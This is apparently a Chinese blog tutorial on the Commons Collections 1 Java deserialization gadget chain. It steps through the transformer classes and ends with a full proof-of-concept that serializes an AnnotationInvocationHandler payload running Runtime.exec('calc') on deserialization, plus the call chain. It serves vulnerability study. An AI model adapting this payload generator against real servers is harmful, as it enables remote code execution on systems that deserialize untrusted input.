本文最后更新于:2023年9月9日 晚上
[TOC]
【java安全】CommonsCollections1
java开发过程中经常会用到一些库。Apache Commons Collections提供了很多的集合工具类。
很多项目会使用到该库,可以通过相关的调用链,触发Commons Colletions 反序列化RCE漏洞
接下来我们介绍一些重要的类
这个InvokerTransformer
类可以使用transform()
方法使用反射机制调用任意函数
我们首先看一看构造方法:
1 2 3 4 5
| public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
|
为参数赋初值
transform()
方法
1 2 3 4 5 6 7 8 9 10 11 12
| public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } ... } }
|
该方法会使用反射机制,将传入的对象input
使用getClass()
方法获取Class对象,然后使用getMethod()
获取方法的Method对象,最后传参invoke()
调用函数
那么我们就可以通过InvokerTransformer
这么执行命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokerTransformerDemo { public static void main(String[] args) throws Exception {
Class runtimeClass=Class.forName("java.lang.Runtime");
Object m_getMethod=new InvokerTransformer("getMethod",new Class[] { String.class,Class[].class},new Object[] { "getRuntime",null } ).transform(runtimeClass);
Object runtime=new InvokerTransformer("invoke",new Class[] { Object.class,Object[].class},new Object[] { null,null } ).transform(m_getMethod);
Object exec=new InvokerTransformer("exec",new Class[] { String.class},new Object[] { "calc.exe" } ).transform(runtime); } }
|
Runtime类的getRuntime()
函数是静态方法,所以使用反射不需要传入对象,传个null即可
1 2 3
| public static Runtime getRuntime() { return currentRuntime; }
|
这个类的transform()
方法很简单:
1 2 3 4 5 6
| public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; }
|
传入什么对象,就返回什么对象
构造函数:
1 2 3
| public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; }
|
将传入的transformer
数组赋值给 iTransformers
变量
再看transform()
方法:(重点)
1 2 3 4 5 6 7
| public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); }
return object; }
|
ChainedTransformer
类的transform()
方法会调用iTransformers
数组中的每个Transform
对象的transform()
方法,并且会将前一个的返回值通过object
变量传给后面一个
于是我们可以构造出新的链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*;
public class ReflectionChain { public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[] { String.class,Class[].class},new Object[] { "getRuntime",null } ), new InvokerTransformer("invoke",new Class[] { Object.class,Object[].class},new Object[] { null,null } ), new InvokerTransformer("exec",new Class[] { String.class},new Object[] { "calc.exe" } ) };
ChainedTransformer chain= new ChainedTransformer(transformers); chain.transform(null); } }
|
至此,我们漏洞利用条件是构造出含命令的ChainedTransformer
对象,然后触发transform()
方法
如何才能触发呢?
我们需要看看TransformedMap
类的源码:
在TransformedMap
类中,存在一个checkSetValue()
方法,可以调用transform()
方法:
1 2 3
| protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
|
我们可以通过创建TransformMap
对象来调用该方法,但是如何创建对象呢?
我们可以使用decorate()
静态方法:
1 2 3
| public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
|
于是,我们可以将构造的链子传入TransformedMap对象中:
1 2 3
| Map innermap = new HashMap(); innermap.put("key", "value"); Map outmap = TransformedMap.decorate(innermap, null, chain);
|
如何触发checkSetValue()方法?
Map
是java的接口,
Map.entrySet()
的返回值是一个Set
集合,此集合的类型是Map.Entry
我们发现TransformedMap
类的父类是AbstractInputCheckedMapDecorator
1
| public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable
|
但是AbstractInputCheckedMapDecorator
类中存在setValue()
方法,可以调用checkSetValue()
1 2 3 4 5 6 7 8 9 10 11 12 13
| static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; }
public Object setValue(Object value) { value = this.parent.checkSetValue(value); return this.entry.setValue(value); } }
|
根据继承和多态,我们知道TransformedMap
类中也有setValue()
方法
我们可以对outmap对象如下操作就可触发命令执行:
1 2
| Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next(); onlyElement.setValue("foobar");
|
但是目前漏洞的触发还需要调用setValue()
方法,我们需要实现带有readObject()
方法的类调用setValue()
方法,这样就可以实现反序列化RCE了
这里需要用到AnnotationInvocationHandler
类:
AnnotationInvocationHandler
AnnotationInvocationHandler类的readObject()
方法对memberValues.entrySet()
的每一项调用了setValue()
方法
构造函数:
这里先直接给出两个条件:
sun.reflect.annotation.AnnotationInvocationHandler
构造函数的第⼀个参数必须是
Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X
- 被
TransformedMap.decorate
修饰的Map中必须有⼀个键名为X的元素
所以,在Retention有⼀个⽅法,名为value;所以,为了再满⾜第⼆个条件,我需要给Map中放⼊⼀个Key是value的元素
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.annotation.Target; import java.lang.annotation.RetentionPolicy; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import java.lang.reflect.Method; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
public class CommonCollections11 { public static Object generatePayload() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };
Transformer transformerChain = new ChainedTransformer(transformers); Map innermap = new HashMap(); innermap.put("value", "xxx"); Map outmap = TransformedMap.decorate(innermap, null, transformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Retention.class, outmap); return instance; }
public static void main(String[] args) throws Exception { payload2File(generatePayload(),"obj"); payloadTest("obj"); } public static void payload2File(Object instance, String file) throws Exception { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest(String file) throws Exception { ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); in.readObject(); in.close(); } }
|
最后生成的temp.bin只需要通过某种途径传递给服务端使其反序列化就可RCE
利用链
以上利用方法在jdk1.7有效,不过ysoserial中也有jdk1.8的利用方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() MapEntry.setValue() TransformedMap.checkSetValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
CC链学习-上 - 先知社区 (aliyun.com)
Java反序列化漏洞原理解析 - 先知社区 (aliyun.com)